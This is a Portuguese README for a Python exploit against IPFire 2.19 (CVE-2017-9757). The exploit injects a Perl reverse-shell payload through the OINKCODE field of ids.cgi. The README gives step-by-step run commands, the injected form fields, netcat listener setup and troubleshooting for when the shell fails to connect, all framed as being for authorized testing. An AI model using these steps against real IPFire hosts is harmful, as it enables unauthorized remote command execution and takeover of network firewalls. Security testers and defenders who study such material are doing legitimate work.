
Este exploit é baseado no CVE-2017-9757 e foi construído sobre o exploit original de 0x09AL.
Prova de conceito em Python para a vulnerabilidade de injeção de comandos autenticada na página ids.cgi do IPFire 2.19, por meio do parâmetro OINKCODE.
Somente para testes de segurança autorizados e laboratórios de treinamento. Execute este PoC apenas contra sistemas que você possui ou para os quais tem permissão explícita de teste. O autor não é responsável pelo uso indevido ou danos causados por este código.
O IPFire 2.19 é vulnerável a injeção de comandos do sistema operacional no parâmetro OINKCODE processado por /cgi-bin/ids.cgi. O parâmetro é incorporado a um comando shell sem a devida neutralização, permitindo que um usuário autenticado execute comandos no host IPFire.
A vulnerabilidade é comumente identificada como CVE-2017-9757 e mapeia para CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
O PoC público original foi testado contra o IPFire 2.19 Core Update 110. O módulo do Metasploit considera versões até o IPFire 2.19 com Core Update 110 dentro de sua faixa de verificação suportada.
O PoC Python original do Exploit-DB realiza uma requisição de verificação usando:
OINKCODE = '`id`'
Em seguida, ele declara o alvo vulnerável somente se a resposta HTTP contiver:
uid=99(nobody)
Essa validação não é confiável. O comando pode ser executado enquanto sua saída é consumida pelo comando shell construído pelo CGI, em vez de ser refletida na resposta HTML retornada ao cliente. Como resultado, o servidor pode retornar uma página HTTP 200 normal sem incluir a saída de id, produzindo um falso negativo.
Esta implementação segue a lógica de validação usada pelo módulo do Metasploit:
/cgi-bin/pakfire.cgi com Autenticação Básica HTTP.<= 2.19 e Core Update <= 110 como aparentemente vulneráveis./cgi-bin/ids.cgi no campo OINKCODE.200 como requisição rejeitada ou problema de autenticação.uid=99(nobody).O PoC também usa um payload de shell de comando Perl, alinhado à família de payloads de comando suportada pelo módulo do Metasploit. Uma resposta HTTP bem-sucedida não prova, por si só, que o reverse shell se conectou; o listener e o caminho de rede também devem ser verificados.
O critério de sucesso importante do módulo do Metasploit é que um código de resposta inesperado indica credenciais inválidas ou uma requisição rejeitada. Ele não exige que o corpo da resposta contenha a saída do comando injetado.
requestsperlInstale a dependência Python:
python3 -m pip install requests
python3 ipfire_oinkcode_rce.py \
--target 192.0.2.10 \
--web-port 444 \
--username admin \
--lhost 192.0.2.20 \
--check-only \
--insecure
A senha é solicitada interativamente quando --password não é fornecido. Isso é recomendado porque colocar uma senha diretamente em um comando pode expô-la por meio do histórico do shell ou da lista de processos.
Use um listener no endereço e na porta fornecidos como --lhost e --lport:
rlwrap nc -lvnp 4444
Se rlwrap não estiver instalado, use:
nc -lvnp 4444
python3 ipfire_oinkcode_rce.py \
--target 192.0.2.10 \
--web-port 444 \
--username admin \
--lhost 192.0.2.20 \
--lport 4444 \
--insecure
Para o certificado HTTPS autoassinado usual do IPFire, --insecure/-k é necessário. Use-o somente quando a verificação do certificado intencionalmente não for possível no laboratório.
O alvo também pode ser fornecido como uma URL base completa:
python3 ipfire_oinkcode_rce.py \
--target https://192.0.2.10:444 \
--username admin \
--lhost 192.0.2.20 \
--lport 4444 \
--insecure
Use isto somente quando a versão do IPFire já tiver sido confirmada de forma independente:
python3 ipfire_oinkcode_rce.py \
--target 192.0.2.10 \
--web-port 444 \
--username admin \
--lhost 192.0.2.20 \
--lport 4444 \
--skip-version-check \
--insecure
Se o Perl não estiver no PATH padrão do alvo, forneça o caminho absoluto dele:
--perl-path /usr/bin/perl
HTTP 200 de ids.cgiIsso significa que a requisição HTTP foi aceita pelo CGI de acordo com o mesmo critério prático usado pelo módulo do Metasploit. Uma resposta HTML normal é esperada e não é prova de que a verificação de vulnerabilidade falhou.
Verifique o listener em busca do shell. Se nenhum shell chegar, investigue o endereço de callback, o roteamento, as regras de saída do firewall, a disponibilidade do Perl e a porta selecionada.
HTTP 401 ou HTTP 403A requisição não foi autorizada. Verifique o nome de usuário, a senha, a URL do alvo, a porta e se a conta pode acessar a interface web do IPFire.
HTTP 404A URL do alvo ou o caminho do CGI provavelmente está incorreto, ou o serviço não é a interface web esperada do IPFire.
O script não conseguiu encontrar a string de versão esperada em pakfire.cgi. Confirme o alvo manualmente antes de usar --skip-version-check.
O comando injetado pode manter a requisição CGI aberta enquanto tenta o callback. Trate isso como uma indicação para verificar o listener, não como prova definitiva de um shell.
O script usa Autenticação Básica HTTP e envia os seguintes campos de formulário para ids.cgi:
ENABLE_SNORT_GREEN=on
ENABLE_SNORT=on
RULES=registered
OINKCODE=`<Perl command payload>`
ACTION=Download new ruleset
ACTION2=snort
O comando é envolvido em crases porque o aplicativo vulnerável passa o valor de OINKCODE para um comando shell. O comportamento exato da requisição depende da versão do alvo e da configuração local.
200 confirma que a requisição foi aceita, não que o reverse shell alcançou o listener.ipfire_oinkcode_exec.rbEste projeto é uma implementação educacional em Python baseada na pesquisa pública e na prova de conceito de 0x09AL, e no módulo do Metasploit mantido pela comunidade Metasploit. Não é afiliado ao IPFire, Exploit-DB ou Rapid7, nem endossado por eles.
| Característica | PoC Python Exploit-DB 42149 | Exploit-DB 42369 / Metasploit | Este PoC |
|---|
| Endpoint vulnerável | /cgi-bin/ids.cgi | /cgi-bin/ids.cgi | /cgi-bin/ids.cgi |
| Verificação de versão | Nenhuma | GET /cgi-bin/pakfire.cgi | Mesma verificação no estilo Metasploit |
| Autenticação | Autenticação Básica | Cabeçalho de Autenticação Básica | Autenticação Básica via requests.Session |
| Validação inicial | Executa `id` e procura no corpo da resposta | Verifica a versão e depois envia o payload | Verifica a versão e usa o código de resultado HTTP |
| Risco de falso negativo | Alto: depende de uid=99(nobody) ser refletido | Evita validação do conteúdo do corpo | Evita validação do conteúdo do corpo |
| Reverse shell | Bash /dev/tcp | Payload de comando Unix do Metasploit | Shell de comando Perl IO::Socket::INET |
| Tratamento de TLS | Verificação de certificado desabilitada no PoC | SSL habilitado por padrão | Verificação desabilitada somente com -k/--insecure |
| Configuração | Valores são editados no código-fonte | Opções do Metasploit | Argumentos de linha de comando |
| Opção | Padrão | Descrição |
|---|
-t, --target | Obrigatório | Host/IP alvo ou URL base completa |
--scheme | https | Esquema usado quando o alvo é apenas um host/IP |
--web-port | 444 | Porta da interface web do IPFire |
-u, --username | admin | Nome de usuário do IPFire |
-p, --password | Prompt | Senha; omita para digitá-la sem eco |
--lhost | Obrigatório | Endereço do listener acessível a partir do IPFire |
--lport | 4444 | Porta do listener |
--perl-path | perl | Executável Perl no alvo |
--timeout | 10 | Tempo limite de HTTP em segundos |
-k, --insecure | Desabilitado | Desabilita a verificação do certificado TLS |
--skip-version-check | Desabilitado | Ignora a verificação do pakfire.cgi |
--check-only | Desabilitado | Executa apenas a verificação de versão |